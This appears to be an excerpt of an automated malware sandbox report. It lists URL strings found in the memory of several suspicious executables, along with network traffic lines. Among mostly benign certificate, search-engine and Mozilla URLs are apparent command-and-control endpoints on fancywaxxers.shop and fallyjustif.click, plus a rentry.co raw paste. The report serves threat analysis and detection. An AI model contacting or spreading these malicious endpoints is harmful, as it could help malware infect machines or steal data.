Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: abu7zly.exe, 00000018.00000002.3469425787.0000000005171000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: f7eded9312.exe, 0000001C.00000003.2987099682.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2975379285.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2985178864.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2974108218.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857893322.000000006D0ED000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857193626.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f7eded9312.exe, 0000001C.00000002.3078548633.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/
Source: f7eded9312.exe, 0000001C.00000003.2941816870.0000000005649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/1y
Source: f7eded9312.exe, 0000001C.00000003.2955925806.0000000005643000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957115440.0000000005649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/3y
Source: f7eded9312.exe, 0000001C.00000003.2984540463.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/7
Source: f7eded9312.exe, 0000001C.00000003.2984540463.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2973971532.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2996752252.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2975125723.000000000564D000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2941816870.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2955925806.0000000005643000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2971496752.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2985029655.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958030702.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957115440.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2996752252.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/api
Source: f7eded9312.exe, 0000001C.00000003.2955925806.0000000005643000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957115440.0000000005649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/api=
Source: f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2955925806.0000000005643000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958030702.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005649000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957115440.0000000005649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/apiFR
Source: f7eded9312.exe, 0000001C.00000003.2941816870.0000000005649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/apie
Source: f7eded9312.exe, 0000001C.00000003.2985029655.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2996752252.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/apil3
Source: f7eded9312.exe, 0000001C.00000003.2973971532.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2975125723.000000000564D000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2984918643.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2971496752.000000000564C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2986090773.000000000564B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click/apison=
Source: f7eded9312.exe, 0000001C.00000003.2973838282.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956188294.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956790557.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fallyjustif.click:443/apil
Source: 2z8320.exe, 2z8320.exe, 00000006.00000003.2337713657.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2275375294.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317467498.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317983248.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317983248.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2317652928.00000000013CF000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2332435215.000000000134E000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: 2z8320.exe, 00000006.00000003.2337713657.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2302273546.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2275414088.0000000001365000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2300959015.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2313817612.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2301286738.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2275414088.000000000134E000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2300441402.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2337713657.00000000013CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: 2z8320.exe, 00000006.00000003.2313817612.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api?H
Source: 2z8320.exe, 00000006.00000003.2313817612.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiEHr
Source: 2z8320.exe, 00000006.00000003.2302273546.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2300959015.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2301286738.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2300441402.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiTHc
Source: 2z8320.exe, 00000006.00000003.2337791439.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apif
Source: 2z8320.exe, 00000006.00000003.2275414088.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/o
Source: 2z8320.exe, 00000006.00000003.2337713657.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564A000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/
Source: f7eded9312.exe, 0000001C.00000002.3079015438.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000002.3078548633.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/feouewe5/raw
Source: f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/static/icons/512.png
Source: f7eded9312.exe, 0000001C.00000002.3084677628.0000000005668000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/what
Source: f7eded9312.exe, 0000001C.00000003.3073162242.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co:443/feouewe5/raw
Source: f7eded9312.exe, 0000001C.00000003.2958134126.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: f7eded9312.exe, 0000001C.00000003.2958134126.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2775660542.000000000B76C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2z8320.exe, 00000006.00000003.2277399750.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277088275.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2277946439.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577679524.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929467569.000000000568F000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929800310.000000000568C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2929978279.000000000568C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f7eded9312.exe, 0000001C.00000002.3084677628.0000000005668000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-LLFSDKZXET
Source: 2z8320.exe, 00000006.00000003.2302208638.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957942717.0000000005673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 2z8320.exe, 00000006.00000003.2302208638.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2957942717.0000000005673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000237000.00000040.00000001.01000000.0000000D.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000237000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.mozilla.org/about/AEGDHJKFHJKF
Source: f7eded9312.exe, 0000001C.00000003.2958134126.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000237000.00000040.00000001.01000000.0000000D.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000237000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: f7eded9312.exe, 0000001C.00000003.2958134126.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: f7eded9312.exe, 0000001C.00000003.2958134126.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.overwolf.com0
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2969933458.000000000564A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
